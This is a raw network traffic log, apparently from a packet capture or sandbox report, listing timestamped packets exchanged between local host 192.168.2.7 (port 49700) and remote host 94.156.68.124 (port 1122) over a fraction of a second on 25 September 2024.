Sep 25, 2024 01:11:12.494149923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494165897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494180918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494194031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494198084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494226933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494383097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494400024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494415045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494429111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494436979 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494465113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494612932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494628906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494643927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494659901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494672060 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494676113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494693041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494875908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494889021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494910955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494920969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494935036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494950056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494952917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494966030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494981050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.494995117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.494998932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.495014906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.495014906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.495033026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.495050907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.495358944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.495418072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.499792099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499829054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499841928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499880075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.499895096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499910116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499938011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.499969006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499984026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.499999046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500008106 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500034094 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500055075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500231028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500256062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500267982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500277042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500283003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500304937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500317097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500364065 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500394106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500411034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500452995 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500472069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500487089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500503063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500520945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500605106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500619888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500634909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500648022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500648975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500669003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500762939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500780106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500794888 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500802994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500809908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500835896 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500924110 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500940084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500955105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500960112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.500972033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.500988007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501090050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501106977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501121998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501130104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501163960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501243114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501255989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501270056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501283884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501287937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501300097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501315117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501324892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501331091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501348019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501514912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501537085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501553059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501554966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501569033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501591921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501595974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501611948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501640081 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.501779079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501801014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.501823902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.548021078 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570136070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570172071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570188046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570213079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570339918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570354939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570369959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570384979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570388079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570399046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570400953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570451021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570553064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570566893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570617914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570700884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570718050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570755959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570854902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570869923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570884943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570899010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570907116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570914030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570928097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.570947886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.570962906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.571145058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.571160078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.571175098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.571188927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.571197987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.571214914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.578727961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.578754902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.578768969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.578800917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.578846931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.578913927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.578922033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.578938007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.578985929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579037905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579054117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579093933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579112053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579190969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579205990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579235077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579307079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579323053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579339027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579346895 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579356909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579375029 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579468966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579514027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579720020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579794884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579809904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579833031 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579889059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579904079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.579933882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.579960108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580005884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.580013990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580028057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580068111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.580697060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580750942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580765009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580796957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.580878973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580894947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580910921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.580934048 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.580949068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581021070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581037045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581052065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581074953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581177950 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581193924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581207991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581223011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581238985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581341028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581356049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581372023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581383944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581404924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581423998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581604004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581620932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581636906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581651926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581657887 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581667900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581690073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581695080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581707001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581728935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581893921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581938982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.581980944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.581996918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.582011938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.582026005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.582034111 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.582041979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.582057953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.582066059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.582075119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.582094908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.586647987 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586704016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.586714983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586731911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586751938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586766958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586777925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.586807013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.586848974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586874008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586888075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.586914062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587048054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587099075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587112904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587126970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587131023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587157965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587186098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587198973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587213039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587228060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587229967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587249994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587275028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587316990 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587347984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587413073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587428093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587443113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587449074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587482929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587570906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587585926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587600946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587616920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587620020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587634087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587649107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587656021 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587665081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587697983 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587867022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587887049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587903023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587909937 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587918997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587934971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.587946892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.587970972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588007927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588073015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588098049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588112116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588125944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588129044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588146925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588146925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588195086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588335991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588351011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588366985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588380098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588395119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588396072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588411093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588422060 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588428020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588445902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588449955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588479996 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.588597059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588614941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.588654041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657038927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657058001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657073021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657154083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657162905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657177925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657193899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657211065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657212019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657233953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657294989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657340050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657426119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657439947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657454967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657469988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657481909 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657484055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657501936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657505989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657516956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657540083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657699108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657741070 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.657819986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657843113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.657859087 CEST	1122	49700	94.156.68.124	192.168.2.7
